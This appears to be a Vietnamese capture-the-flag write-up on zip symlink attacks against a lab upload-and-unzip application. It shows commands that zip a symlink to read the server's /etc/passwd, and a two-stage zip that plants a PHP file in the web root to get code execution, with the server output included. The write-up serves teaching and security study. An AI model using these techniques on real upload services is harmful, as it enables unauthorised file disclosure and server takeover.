



CyberJutsu

CHALLENGE WRITE UP

Symlink Attack



1. CHALLENGE – LEVEL 1

Goal: Đọc nội dung của file `/etc/passwd`

Cách hoạt động của ứng dụng:

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:
 No file chosen

Unzipper command:

Unzipper debug info:
...

- Ứng dụng cho phép upload file zip, thử upload một file `test.zip`

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:
 No file chosen

Unzipper command: `unzip /tmp/name -d /var/www/html/upload/a8b753d6b162c2b23cfa6aff892f14f9`

Successfully uploaded and unzip files into `/upload/a8b753d6b162c2b23cfa6aff892f14f9`

Unzipper debug info:
Archive: `/tmp/name`

- Ứng dụng sẽ unzip và lưu vào thư mục `/upload/<random_number>`

Ý tưởng / giả thuyết:

- Ta thử tạo một symlink trỏ tới `/etc/passwd`, sau đó zip và upload lên server. Như vậy khi unzip, symlink sẽ được tái tạo lại, trỏ đến file `/etc/passwd` của server



Kiểm chứng ý tưởng / giả thuyết:

- Sử dụng command `ln` để tạo ra symlink `link_passwd` trỏ đến `/etc/passwd`

```
$ ln -s /etc/passwd link_passwd
```

- Thực hiện zip `link_to_pass` thành `hack.zip` và upload lên server

```
$ zip -y hack.zip link_passwd
```

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:

No file chosen

Unzipper command: `unzip /tmp/name -d /var/www/html/upload/a8b753d6b162c2b23cfa6aff892f14f9`

Successfully uploaded and unzip files into `/upload/a8b753d6b162c2b23cfa6aff892f14f9`

Unzipper debug info:

```
Archive: /tmp/name
linking: /var/www/html/upload/a8b753d6b162c2b23cfa6aff892f14f9/link_passwd -> /etc/passwd
finishing deferred symbolic links:
/var/www/html/upload/a8b753d6b162c2b23cfa6aff892f14f9/link_passwd -> /etc/passwd
```

- Khi truy cập đến endpoint đang lưu trữ `link_passwd` trên server

```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
20 CBJs{symlink_iz_s1mpl3_trick}
```



2. CHALLENGE - LEVEL 2

Goal: RCE được server.

Cách hoạt động của ứng dụng:

Các tính năng giống như ứng dụng ở **Level 1**

Ý tưởng / giả thuyết

- Ta thấy nếu ta tạo một symlink đến một thư mục, thì ta vẫn có thể ghi file vào thư mục đó thông qua symlink.
- Ví dụ, ta tạo symlink `link_test` trỏ đến `/tmp/test/` và thực hiện ghi file vào `/tmp/test/` thông qua symlink như sau:

```
(endy@dellg315)~[~]
$ ln -s /tmp/test link_test

(endy@dellg315)~[~]
$ ls
link_test

(endy@dellg315)~[~]
$ echo "<?php phpinfo(); ?>" > link_test/endy.php

(endy@dellg315)~[~]
$ ls /tmp/test
endy.php

(endy@dellg315)~[~]
$ cat /tmp/test/endy.php
<?php phpinfo(); ?>

(endy@dellg315)~[~]
$ |
```

- Ý tưởng :
 - **Bước 1:** Tạo một symlink tên là `link_webroot` đến `/var/www/html`. Sau đó zip và upload lên server. Lúc này trên sever có symlink `link_webroot` trỏ đến `/var/www/html`
 - **Bước 2:** Tạo một thư mục tên là `link_webroot`. Ghi `shell.php` với nội dung là `<?php phpinfo(); ?>` vào thư mục `link_webroot`. Sau đó zip lại và upload lên server

Khi ứng dụng unzip và ghi thư mục `link_webroot` nó vô tình ghi vào symlink `link_webroot`, từ đó tạo ra file `shell.php` với nội dung là `<?php phpinfo(); ?>` tại DocumentRoot



Kiểm chứng ý tưởng / giả thuyết

- **Bước 1:** Tạo symlink trỏ đến `/var/www/html` và zip lại rồi upload.

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:

Choose File | No file chosen

Submit

Unzipper command: `unzip /tmp/name -d /var/www/html/upload/360e080396ca4b5c09f4bb48d80352c6`

Successfully uploaded and unzip files into `/upload/360e080396ca4b5c09f4bb48d80352c6`

Unzipper debug info:

```
Archive: /tmp/name
linking: /var/www/html/upload/360e080396ca4b5c09f4bb48d80352c6/link_webroot -> /var/www/html
finishing deferred symbolic links:
/var/www/html/upload/360e080396ca4b5c09f4bb48d80352c6/link_webroot -> /var/www/html
```

- **Bước 2:** Tạo thư mục `link_webroot` có file `shell.php` bên trong với nội dung `<?php phpinfo(); ?>` và zip lại rồi upload.

```
(endy@de1lg315)~$ mkdir link_webroot

(endy@de1lg315)~$ echo "<?php phpinfo()?>" > link_webroot/shell.php

(endy@de1lg315)~$ zip -r step2.zip link_webroot
adding: link_webroot/ (stored 0%)
adding: link_webroot/shell.php (stored 0%)
```



Select zip file to upload and extract:

Submit

Successfully uploaded and unzip files into [/upload/360e080396ca4b5c09f4bb48d80352c6](#)

```
Archive: /tmp/name
extracting: /var/www/html/upload/360e080396ca4b5c09f4bb48d80352c6/link_webroot/shell.php
```

- | PHP Version 7.3.33 | |
|---|---|
| System | Linux b5e790cc5580 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023 x86_64 |
| Build Date | Mar 18 2022 03:11:44 |
| Configure Command | '/configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared' '--with-pdo-sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' '--with-iconv' '--with-openssl' '--with-readline' '--with-zlib' '--disable-phpdbg' '--with-libdir=libx86_64-linux-gnu' '--disable-cgi' '--with-apex2' 'build_alias=x86_64-linux-gnu' |
| Server API | Apache 2.0 Handler |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | /usr/local/etc/php |
| Loaded Configuration File | (none) |
| Scan this dir for additional .ini files | /usr/local/etc/php/conf.d |
| Additional .ini files parsed | /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini |
| PHP API | 20180731 |
| PHP Extension | 20180731 |
| Zend Extension | 320180731 |
| Zend Extension Build | API320180731.NTS |
| PHP Extension Build | API20180731.NTS |
| Debug Build | no |
| Thread Safety | disabled |
| Zend Signal Handling | enabled |
| Zend Memory Manager | enabled |
| Zend Multibyte Support | provided by mbstring |
| IPv6 Support | enabled |
| DTrace Support | disabled |
| Registered PHP Streams | https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar |
| Registered Stream Socket Transports | tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2 |